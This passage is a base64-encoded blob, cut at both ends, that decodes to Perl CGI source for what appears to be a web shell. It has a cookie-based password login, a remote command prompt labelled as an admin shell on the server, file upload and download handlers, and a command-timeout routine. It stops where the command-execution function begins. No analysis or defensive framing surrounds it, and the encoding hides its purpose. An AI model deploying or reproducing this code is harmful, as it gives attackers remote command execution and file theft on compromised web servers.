Z2UNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludFBhZ2VGb290ZXINCnsNCglwcmludCAiPGJyPjxicj48YnI+PGZvbnQgY29sb3I9cmVkPm8tLS1bICA8Zm9udCBjb2xvcj0jZmY5OTAwIGZhY2U9U2Fsc2E+RWRpdCBieSAkRWRpdFBlcnNpb24gPC9mb250PiAgXS0tLW88L2ZvbnQ+PC9jb2RlPjwvY2VudGVyPjwvYm9keT48L2h0bWw+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQ0KIyB2YXJpYWJsZSAkQ29va2llc3snJ30NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBHZXRDb29raWVzDQp7DQoJQGh0dHBjb29raWVzID0gc3BsaXQoLzsgLywkRU5WeydIVFRQX0NPT0tJRSd9KTsNCglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQ0KCXsNCgkJKCRpZCwgJHZhbCkgPSBzcGxpdCgvPS8sICRjb29raWUpOw0KCQkkQ29va2llc3skaWR9ID0gJHZhbDsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBzY3JlZW4gd2hlbiB0aGUgdXNlciBsb2dzIG91dA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9nb3V0U2NyZWVuDQp7DQoJcHJpbnQgIjxicj48YnI+Q29ubmVjdGlvbiBDbG9zZWQgYnkgQWRtaW5pc3RyYXRvci48YnI+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2luIGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUNCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQoJZXhpdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0DQojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0DQojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcg0KIyB0byBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dpbiANCnsNCglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZA0KCXsNCgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsNCgkJJlByaW50UGFnZUhlYWRlcjsNCgkJcHJpbnQgJkxpc3REaXI7DQoJfQ0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkJJlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOw0KDQoJCX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlleGl0Ow0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCglteSAkZGlyPSAiPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgU2Fsc2E7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjNjZmZjY2JyBmYWNlPVNhbHNhPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KJFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjUwIiBuYW1lPSJjIj4NCjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtDQp7DQoJbXkgJGRpciA9ICZBZGRMaW5rRGlyKCJkb3dubG9hZCIpOyANCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGZhY2U9c2Fsc2E+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8Zm9udCBmYWNlPXNhbHNhPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQo8Zm9udCBmYWNlPXNhbHNhPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCjxmb250IGZhY2U9c2Fsc2E+RmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQo8Zm9udCBmYWNlPXNhbHNhPkRvd25sb2FkOiA8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KDQo8L2Zvcm0+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byB1cGxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtDQp7DQoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOw0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgZmFjZT1TYWxzYT5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCiRQcm9tcHQgdXBsb2FkPGJyPjxicj4NCjxmb250IGZhY2U9U2Fsc2E+RmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQo8Zm9udCBmYWNlPVNhbHNhPk9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4NCjxsYWJlbCBmb3I9InVwIj5PdmVyd3JpdGUgaWYgaXQgRXhpc3RzPC9sYWJlbD48YnI+PGJyPg0KPGZvbnQgZmFjZT1TYWxzYT5VcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4NCg0KPC9mb3JtPg0KDQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcmV0dXJuIDw8RU5EOw0KPC90ZXh0YXJlYT4NCjxicj48Zm9udCBjb2xvcj15ZWxsb3c+DQpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pg0KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250Pg0KRU5EDQoJfQ0KfQ0KDQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglteSAkcmVzdWx0PSIiOw0KCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cw0KCXsNCgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3Nlcg0KCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsNCgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkcmVzdWx0IC49IDw8RU5EOw0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+DQoNCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4NCkVORA0KCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCX0NCgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIHJlYWRzIHRoZSBzcGVjaWZpZWQgZmlsZSBmcm9tIHRoZSBkaXNrIGFuZCBzZW5kcyBpdCB0byB0aGUNCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXINCnsNCglteSAkcmVzdWx0ID0gIiI7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNURE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShTRU5ERklMRSk7DQoJCWV4aXQoMSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7DQoJCSRyZXN1bHQgLj0mUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlDQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwNCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCZWdpbkRvd25sb2FkDQp7DQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFVwbG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOw0KDQoJfQ0KCW15ICRyZXN1bHQ9IiI7DQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCgkkcmVzdWx0IC49ICJVcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOw0KDQoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZA0KCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7DQoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7DQoNCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsNCgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQNCglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsNCgl9DQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQNCgl7DQoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQ0KCQl7DQoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsNCgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9Ow0KCQkJY2xvc2UoVVBMT0FERklMRSk7DQoJCQkkcmVzdWx0IC49ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCgkJCSRyZXN1bHQgLj0gIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsNCgkJfQ0KCX0NCgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsNCiMgdGhyb3VnaCAgd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRG93bmxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlyZXR1cm4gJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgl9DQoJDQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfCAoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCXJldHVybiAmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyB